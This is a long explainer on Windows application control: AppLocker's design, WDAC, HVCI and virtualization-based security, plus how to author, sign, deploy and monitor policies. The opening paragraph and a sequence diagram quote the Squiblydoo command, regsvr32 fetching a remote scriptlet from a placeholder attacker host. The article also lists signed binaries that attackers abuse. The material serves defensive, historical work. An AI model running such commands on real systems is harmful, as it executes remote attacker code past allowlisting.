April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced [@casey-smith-wayback], and -- because every default Microsoft AppLocker policy allows binaries published by O=Microsoft Corporation -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker's code under the user's token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname Squiblydoo, gets MITRE ATT&CK ID T1218.010 [@mitre-t1218-010], gets used in campaigns targeting governments [@mitre-t1218-010], and gets the technique catalogued in the LOLBAS project [@lolbas-regsvr32].

To understand why Smith's command was a class of failure rather than a specific bug, look at AppLocker's design. AppLocker shipped in Windows 7 and Server 2008 R2 (RTM July 2009; GA October 2009) [@wikipedia-windows-7] with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (appidsvc) plus the appid.sys filter driver [@wikipedia-applocker], so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.

The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the `appidsvc` service plus the `appid.sys` filter driver [@learn-microsoft-com-7-dd723678vws10]). Microsoft documents AppLocker today as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview] -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities. A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The MITRE ATT&CK technique T1218 ("System Binary Proxy Execution") [@mitre-t1218] catalogues the parent class. Microsoft's own bypass catalogue [@ms-bypass-catalogue] lists about forty Windows binaries that fall into this class.

The Squiblydoo bypass is mechanical once you see it. AppLocker's publisher rule for O=Microsoft Corporation says yes to regsvr32.exe. The argument-parsing code inside regsvr32.exe is policy-blind -- it does not consult AppLocker before deciding to follow the /i:URL flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user's token, with no on-disk artefact, with no registry footprint, with no need to escalate.

sequenceDiagram participant U as User session participant Reg as regsvr32.exe (signed) participant AL as AppLocker check participant Atk as attacker.com participant JS as JScript engine U->>Reg: Spawn with /i:http://atk/x.sct scrobj.dll Reg->>AL: Publisher = Microsoft Corp? AL-->>Reg: PASS (publisher rule allows) Reg->>Atk: GET http://attacker/x.sct (proxy-aware, TLS-capable) Atk-->>Reg: Scriptlet (JScript COM) Reg->>JS: Instantiate scriptlet in-process JS-->>Reg: Arbitrary code under user token Reg-->>AL: Process exit logged "successful launch"

The bypass-research record is the size of a small university faculty. Microsoft's own bypass catalogue [@ms-bypass-catalogue] thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).

The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: addinprocess.exe, bash.exe, cdb.exe, cscript.exe, csi.exe, dnx.exe, dotnet.exe, fsi.exe, infdefaultinstall.exe, kd.exe, kill.exe, lxrun.exe, Microsoft.Workflow.Compiler.exe, msbuild.exe, mshta.exe, ntkd.exe, ntsd.exe, powershellcustomhost.exe, rcsi.exe, runscripthelper.exe, system.management.automation.dll, texttransform.exe, visualuiaverifynative.exe, wfc.exe, windbg.exe, wmic.exe, wscript.exe, and wsl.exe are all explicitly listed.The MITRE ATT&CK record for T1218.010 (Regsvr32) [@mitre-t1218-010] credits Smith for the technique and dates its documented in-the-wild use to multiple "campaigns targeting governments." The "Squiblydoo" nickname itself is widely attributed to Carbon Black's April 2016 threat advisory [@carbonblack-squiblydoo-2016], which MITRE cites as reference [3]. The LOLBAS project entry for Regsvr32 [@lolbas-regsvr32] preserves the verbatim AWL bypass syntax that Smith published.

Property	SRP (2001)	AppLocker (2009)
Identity primitive	Path / Hash / Cert / Zone	Path / Hash / Publisher
Per-user scoping	No	Yes
Enforcement engine	Safer API (`SaferIdentifyLevel`)	`appidsvc` + `appid.sys` filter driver
Script-host coverage	Opt-in per host	Centrally enforced
Canonical bypass class	Path-rule writeable directories	Squiblydoo / publisher-blind LOLBINs
MSRC servicing	Deprecated 2018	Defense-in-depth only (not serviced)

Microsoft's own architectural surrender is in the AppLocker overview [@ms-applocker-overview] itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview, 2026. Two insights survive the AppLocker era. First, publisher-only identity is necessary but not sufficient: a bag of bytes signed by Microsoft can still host arbitrary attacker-supplied script. Second, the enforcement engine itself must be unkillable -- AppLocker's filter driver runs in the same VTL0 ring as the kernel an attacker may have compromised, so a SYSTEM-level kernel attacker can simply unload it. The next generation has to fix both. Microsoft fixed them on two parallel rails inside Windows 10.

4. The Evolution: Two Parallel Rails Converging on the Runtime Loop

From July 2015, Microsoft's answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker's policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the kernel CI check itself underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.

4a. The WDAC Rail

Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history]. For the first time, Microsoft's app-control engine consumed an XML policy: a schema with Signers, FileRules, SigningScenarios, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was CI.dll [@ms-acfb-overview], and CI.dll is still the engine binary today. CCI was, from day one, serviced under MSRC criteria [@ms-acfb-overview] -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.

The 2017 rebranding decoupled the engine from the marketing. In October 2017 [@ms-2017-wdac-blog] Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that "we estimate that only about 20% of our customers are using any type of application control technology." The same post announced the rename from "configurable CI" to Windows Defender Application Control, and explained that the original Device Guard story had "unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately."

The post also disclosed that "in the Windows 10 Creators Update (1703) [@wikipedia-w10-history] released last spring we introduced an option to WDAC called managed installer." Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature.This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.

A WDAC policy is an XML document conforming to the SiPolicy schema [@ms-rule-options], evaluated by `CI.dll` at every PE load. The same feature has had four names over a decade: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control* (2017), and *App Control for Business* (the 2024 rename [@ms-acfb-landing]). The binary, the schema, and the runtime loop are unchanged across the renames. The XML schema that backs every WDAC policy. The eight load-bearing elements are `Rules` (policy options), `Signers` (signer identities), `FileRules` (the `Hash`, `FilePath`, `FileName`, `FilePublisher`, certificate-attribute family), `SigningScenarios` (which split kernel-mode from user-mode coverage), `HvciOptions` (the in-policy HVCI toggle), `UpdatePolicySigners` (who can replace the policy), `SupplementalPolicySigners` (who can add to it), and `CiSigners` (the trusted signer set in the user-mode scenario). The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. Enabling rule option 14 [@ms-isg] tells WDAC to consult ISG for "known good," "known bad," or "unknown" verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG "isn't recommended for devices that don't have regular access to the internet."

The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC [@ms-deploy-multi]. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation's existing allowlist, without a merge-and-resign ceremony every quarter.The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment [@ms-deploy-multi] documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.

The 2024 rename to App Control for Business changed the URL path on Microsoft Learn and not much else. The binary is still CI.dll; the schema is still SiPolicy; the rule options are still numbered the same way. Throughout the rest of this article we will use "WDAC" for prose searchability, with the understanding that "App Control for Business," "configurable code integrity," and "Device Guard kernel CI" all refer to the same engine.

Note: Four aliases for the same feature: configurable code integrity (2015), Windows Defender Device Guard (2015-2017), Windows Defender Application Control / WDAC (2017-2024), and App Control for Business / ACfB (2024-). All four consume the same SiPolicy XML, run against the same CI.dll, and emit events on the same Microsoft-Windows-CodeIntegrity/Operational channel. We use WDAC throughout for searchability; the App Control for Business documentation root [@ms-acfb-landing] is the canonical 2026 entry point.

flowchart LR Root[SiPolicy XML] Root --> Rules[Rules
policy options 0-20+] Root --> Signers[Signers
signer identities] Root --> FileRules[FileRules
Hash, FilePath, FileName, FilePublisher] Root --> Scenarios[SigningScenarios
KMCI 131, UMCI 12] Root --> Hvci[HvciOptions
0, 1, 2, 4] Root --> Update[UpdatePolicySigners
who may replace policy] Root --> Suppl[SupplementalPolicySigners
who may augment] Root --> Ci[CiSigners
trusted signer set in UMCI]

4b. The HVCI Rail

In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]), a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor [@paragmali-com-a-security], no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first.Rutkowska's Black Hat USA 2006 presentation [@rutkowska-bh2006] demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the defender's substrate.

Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history] on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. SkCi.dll runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver's code pages from W to X [@ms-kdp-blog].

The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of "trustlets" -- LSAISO for Credential Guard, the per-VTL CI engine `SkCi.dll`, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu's Battle of SKM and IUM [@github-com-20alex20ionescu20-20201520blackhat2015] is the canonical 2015 primary on the architecture. Microsoft Learn [@ms-memory-integrity] documents the feature under three names that all refer to the same code path: *memory integrity* (the consumer-facing label in Windows Security), *hypervisor-protected code integrity* (the technical name), and *hypervisor enforced code integrity* (the alternate technical name). The page reads, verbatim: "Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard." A page is either writable or executable, but never both. HVCI enforces W$\oplus$X for kernel pages by holding the page write-permission and execute-permission bits in SLAT entries that VTL0 cannot edit [@ms-kdp-blog]. VTL1's `SkCi.dll` decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of *existing* executable bytes (return-oriented and jump-oriented programming).

The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) [@wikipedia-w10-history] renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) [@ms-memory-integrity] added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD's Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns "will have a bigger impact on performance."

Windows 10 2004 (May 2020) added Kernel Data Protection (KDP) [@ms-kdp-blog], the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices [@ms-driver-blocklist], and shipped the Vulnerable Driver Block List on by default alongside it.

Microsoft Learn's three-name reconciliation is the verbatim quote in the §4b *HVCI / Memory Integrity* Definition above. Three names; one code path; one `SkCi.dll`; one architectural inversion of Blue Pill. We use *HVCI (Memory Integrity in Windows Security)* as the canonical first-mention form and *HVCI* for prose density throughout; a 2017 Microsoft Mechanics video called it *Device Guard*. flowchart TB VTL0["VTL0 -- NT kernel + CI.dll
'asks' for execute permission"] HV["Hypervisor -- hvix64.exe / hvax64.exe
holds SLAT page tables"] VTL1["VTL1 -- Secure Kernel + SkCi.dll
validates Authenticode + Block List"] Page["Driver image page
state: Writable -> ReadOnly+Execute"] VTL0 -- "Secure call: validate image" --> VTL1 VTL1 -- "If signed and not blocked" --> HV HV -- "Flip SLAT entry W->X" --> Page Page -- "Future write from VTL0" --> HV HV -- "Page-fault, no transition" --> VTL0

By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI's SkCi.dll enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is both rails working together at the page-fault. That sequence is the next section.

5. The Breakthrough: The Runtime Enforcement Loop, End-to-End

Open Process Monitor, watch a kernel driver load, and the human-readable output is IRP_MJ_CREATE returns success. Open WinDbg against a kernel-mode debugger session, set a breakpoint on SeCodeIntegrityVerifySection, watch the same load, and roughly forty distinct trust decisions happen between NtCreateSection and the moment the driver's DriverEntry is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.

The first step is NtCreateSection. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature's PKCS#7 envelope. Step two: SeCodeIntegrityVerifySection calls into CI.dll [@ms-acfb-overview] under \Windows\System32\. CI.dll builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under C:\Windows\System32\CodeIntegrity\CIPolicies\Active\.The exact function names here -- SeCodeIntegrityVerifySection, CipMincryptValidateImageHeader -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity [@ms-memory-integrity] confirms only the higher-level "kernel mode code integrity process" terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.

Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for dbutil_2_3.sys [@ms-driver-blocklist] terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled) [@ms-isg], and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a secure call -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS [@paragmali-com-the-en].

In step five, SkCi.dll [@github-com-20alex20ionescu20-20201520blackhat2015] inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy's HvciOptions element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.

Step six returns control to the loader; the driver's image is now executable in VTL0 and its pages are read-only from VTL0's perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor [@ms-hyperv-bounty] (hvix64.exe on Intel, hvax64.exe on AMD), not by the kernel that the attacker may already control.

Key idea: Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.

sequenceDiagram participant L as NT Loader participant CI as CI.dll (VTL0) participant Pol as Active policy state participant Hv as Hypervisor (hvix64.exe) participant Sk as SkCi.dll (VTL1) participant SLAT as SLAT page tables L->>CI: NtCreateSection(image) CI->>CI: Parse Authenticode + page-hash table CI->>Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active\ Pol-->>CI: Verdict (deny / allow / signer / ISG) CI->>Hv: Secure call: revalidate this kernel image Hv->>Sk: Forward to VTL1 Sk->>Sk: Re-check signature + Block List Sk-->>Hv: PASS or FAIL Hv->>SLAT: If PASS, flip page state W -> X (read-only execute) SLAT-->>L: DriverEntry executes in VTL0 Note over SLAT,Hv: Future VTL0 write to these pages -> SLAT page-fault

The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the Microsoft-Windows-CodeIntegrity/Operational channel [@ms-driver-blocklist] entries that show up in Event Viewer under each verdict.

Step	Component	File path	Event on failure
1	NT loader	`\Windows\System32\ntoskrnl.exe`	(kernel STATUS code)
2	CI engine	`\Windows\System32\CI.dll`	3023 (audit) / 3024 (enforce)
3	Policy state	`\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip`	3076 (UMCI) / 3077 (UMCI enforce)
4	Secure call	`\Windows\System32\securekernel.exe`	(cross-VTL trace)
5	Secure CI	VTL1-resident `SkCi.dll`	3033 (driver block) / 3034 (driver audit)
6	Hypervisor SLAT flip	`\Windows\System32\hvix64.exe` / `hvax64.exe`	(hypervisor trace)
7	Page-fault safety net	Hypervisor	SLAT violation crash

The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS's own page tables. Because SLAT entries are *under* the OS's view, a kernel attacker in VTL0 can change the OS's page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W$\oplus$X invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections. The Event Viewer channel under `Microsoft-Windows-CodeIntegrity/Operational` that records every WDAC + HVCI verdict. Six event IDs carry the operational load: 3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block) [@ms-event-id-explanations]. All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting.The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same `Microsoft-Windows-CodeIntegrity/Operational` channel and surface in `Get-WinEvent` queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.

The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.

{` // Demonstrates the logic of: // Get-CimInstance -ClassName Win32_DeviceGuard // -Namespace root\Microsoft\Windows\DeviceGuard // // AvailableSecurityProperties returns an array of small integers. // Decode them against the Microsoft Learn-documented mapping. const SECURITY_PROPS = { 1: 'Hypervisor support (VBS-capable CPU)', 2: 'Secure Boot is available', 3: 'DMA protection is available', 4: 'Secure Memory Overwrite is available', 5: 'NX protections are available', 6: 'SMM mitigations are available', 7: 'MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)', 8: 'APIC virtualization is available', };

// Pretend we just received this from a remote endpoint: const sample = { AvailableSecurityProperties: [1, 2, 3, 5, 7], VirtualizationBasedSecurityStatus: 2, // 2 = running SecurityServicesRunning: [2], // 2 = HVCI active };

console.log('VBS status:', sample.VirtualizationBasedSecurityStatus === 2 ? 'RUNNING' : 'OFF'); console.log('HVCI:', sample.SecurityServicesRunning.includes(2) ? 'ACTIVE' : 'INACTIVE'); console.log('Capabilities:'); for (const id of sample.AvailableSecurityProperties) { console.log(' -', SECURITY_PROPS[id] || ('unknown:' + id)); } `}

Note: Joanna Rutkowska's Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]) argued in 2006 that the hypervisor was the attacker's substrate to fear. HVCI inverts the argument nine years later: the hypervisor becomes the defender's substrate, hosting the trust check below the kernel an attacker may have compromised. A SYSTEM-level kernel attacker cannot reach VTL1; the hypervisor enforces the separation in SLAT entries that VTL0 cannot edit. The same hardware feature that made Rutkowska's rootkit possible is the hardware feature that makes HVCI's W$\oplus$X invariant enforceable.

We now have an answer to the question that opened section one. When dbutil_2_3.sys loaded against a default Windows 11 24H2 box with HVCI on, step five happened. SkCi.dll consulted the Vulnerable Driver Block List [@ms-driver-blocklist] inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551 [@nvd-cve-2021-21551], refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to operate it.

6. State of the Art: Authoring, Signing, Deploying, Monitoring

Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.

6.1 Authoring

Authoring starts from one of the example base policies [@ms-example-policies] Microsoft ships under %OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\. The directory contains DefaultWindows_Audit.xml (a sane starting allowlist that runs in audit mode), AllowMicrosoft.xml, AllowAll.xml, AllowAll_EnableHVCI.xml, DenyAllAudit.xml, and the canonical SmartAppControl.xml / SignedReputable.xml [@ms-example-policies] consumer-grade template. There is also RecommendedDriverBlock_Enforced.xml -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates WinSiPolicy.xml and WinSEPolicy.xml.

The PowerShell call that mints a new base policy is New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. The -Level flag picks one of the eight rule-level identities [@ms-rule-options] -- Hash, FilePath, FileName, FilePublisher, LeafCertificate, PcaCertificate, RootCertificate, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. FilePublisher is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded "anything from this signer" allowance.

A WDAC rule option (rule option 13 [@ms-rule-options], first shipped in Windows 10 1703 in April 2017 [@ms-2017-wdac-blog]) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a "trusted" attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to "how do you deploy software to a fleet that runs an enforced WDAC policy."

6.2 Audit-mode discovery

Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn [@ms-rule-options] is unambiguous: "We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn't allowed by the policy." Set-RuleOption -Option 3 on the policy XML enables audit mode; Set-RuleOption -Option 3 -Delete removes it and switches the policy into enforce mode. In between, the SOC harvests Microsoft-Windows-CodeIntegrity/Operational event 3076 entries with Get-WinEvent, and New-CIPolicy -Audit mints a discovery policy from the observed blocks that you can merge into the base.

Note: Run audit mode against a representative subset of your estate -- not the whole fleet, not just one developer laptop -- and iterate New-CIPolicy -Audit -> merge -> redeploy until the audit-event volume goes near-zero. Then delete rule option 3 and switch the same policy to enforce. Most production failures of WDAC rollouts are not policy bugs; they are skipped audit discipline.

6.3 Signing

A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: Add-SignerRule -Update to add the signer that may replace the policy in future, Set-RuleOption -Option 6 -Delete to drop "Enabled:Unsigned System Integrity Policy" so the policy refuses to load unless signed, ConvertFrom-CIPolicy to produce the binary .cip, and signtool.exe with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites [@ms-rule-options]: Secure Boot [@paragmali-com-to-userini] must be on; ECDSA certificates are explicitly unsupported; and the policy's VersionEx must be monotonically increasing across replacements.

Note: A botched signed-policy update -- a VersionEx rollback, a wrong signer, a missing UpdatePolicySigner for the new signer -- can leave a Windows machine unable to boot. The boot-time Code Integrity check refuses the policy, the kernel refuses to start without a valid policy, and the operator is left at a recovery console with no in-band way to fix it. Always validate a policy update on a representative subset before fleet rollout.

6.4 Deployment and stacking

Multiple-policy WDAC is the deployment model since Windows 10 1903 [@ms-deploy-multi]. Up to thirty-two active policies sit in C:\Windows\System32\CodeIntegrity\CIPolicies\Active\, or unlimited on devices that have the April 9, 2024 cumulative update [@ms-deploy-multi]. Base-and-supplemental composition (<SupplementalPolicySigner>) lets a divisional supplemental policy union into a corporate base. The <HvciOptions> element toggles HVCI from inside the policy XML itself. The published RecommendedDriverBlock_Enforced.xml [@ms-driver-blocklist] policy is designed to stack alongside an organisation's allowlist without merging.

Deployment surfaces today are: the Intune App Control for Business CSP [@ms-acfb-landing], Configuration Manager's App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.

flowchart LR A[DefaultWindows_Audit.xml] B[Set-RuleOption -Option 3
Deploy in audit mode] C[Get-WinEvent CodeIntegrity-Operational
collect event 3076] D[New-CIPolicy -Audit
mint supplemental from blocks] E[Merge supplemental + base] F[Set-RuleOption -Option 3 -Delete] G[ConvertFrom-CIPolicy + signtool] H[Deploy enforced via Intune / ConfigMgr] A --> B --> C --> D --> E --> C E --> F --> G --> H

6.5 Monitoring

Monitoring rests on two telemetry sources. The first is the Microsoft-Windows-CodeIntegrity/Operational channel [@ms-event-id-explanations] on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting [@ms-asr-rules], where the DeviceEvents table carries AppControlExecutableAudited, AppControlExecutableBlocked, and AppControlCodeIntegrityDriverRevoked rows. The two stitch together: a single 3033 event on the endpoint maps to a single AppControlCodeIntegrityDriverRevoked row in the SIEM.

The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-vmdrc-blog] -- Block abuse of exploited vulnerable signed drivers. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.

A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.

Event ID	Phase	Audience	Meaning
3023	Audit	Kernel-mode	Driver would have been blocked (audit)
3024	Enforce	Kernel-mode	Driver blocked
3033	Enforce	Kernel-mode	Driver blocked by Block List rule
3034	Audit	Kernel-mode	Driver allowed but matched audit
3076	Audit	User-mode	Process would have been blocked
3077	Enforce	User-mode	Process blocked

The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a New-CIPolicy -Level FilePublisher invocation extracts from a PE binary.

{` // Demonstrates the logic of: // New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash // // The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName // + minimum Version. Anything from the same publisher with the same product // and binary names, at or above the version bar, satisfies the rule. function filePublisherRule(pe) { return { O: pe.signer.organization, CN: pe.signer.commonName, ProductName: pe.versionInfo.productName, BinaryName: pe.versionInfo.originalFilename, MinimumVersion: pe.versionInfo.fileVersion, }; }

const peSample = { signer: { organization: 'Microsoft Corporation', commonName: 'Microsoft Windows' }, versionInfo: { productName: 'Microsoft Windows Operating System', originalFilename: 'powershell.exe', fileVersion: '10.0.26100.1', }, };

const rule = filePublisherRule(peSample); console.log('Generated FilePublisher rule:'); for (const [k, v] of Object.entries(rule)) console.log(' ' + k + ' = ' + v); console.log('Anything at or above version', rule.MinimumVersion, 'will satisfy this rule.'); `}

The consumer cousin of WDAC is Smart App Control [@ms-sac-support], which runs the same CI.dll against an example policy (SmartAppControl.xml, also shipped as SignedReputable.xml). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, "no way to bypass Smart App Control protection for individual apps."

WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.

7. Competing Approaches: Apple, Linux, Android

Three other major operating systems answer the question "which code is allowed to run on this device." None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.

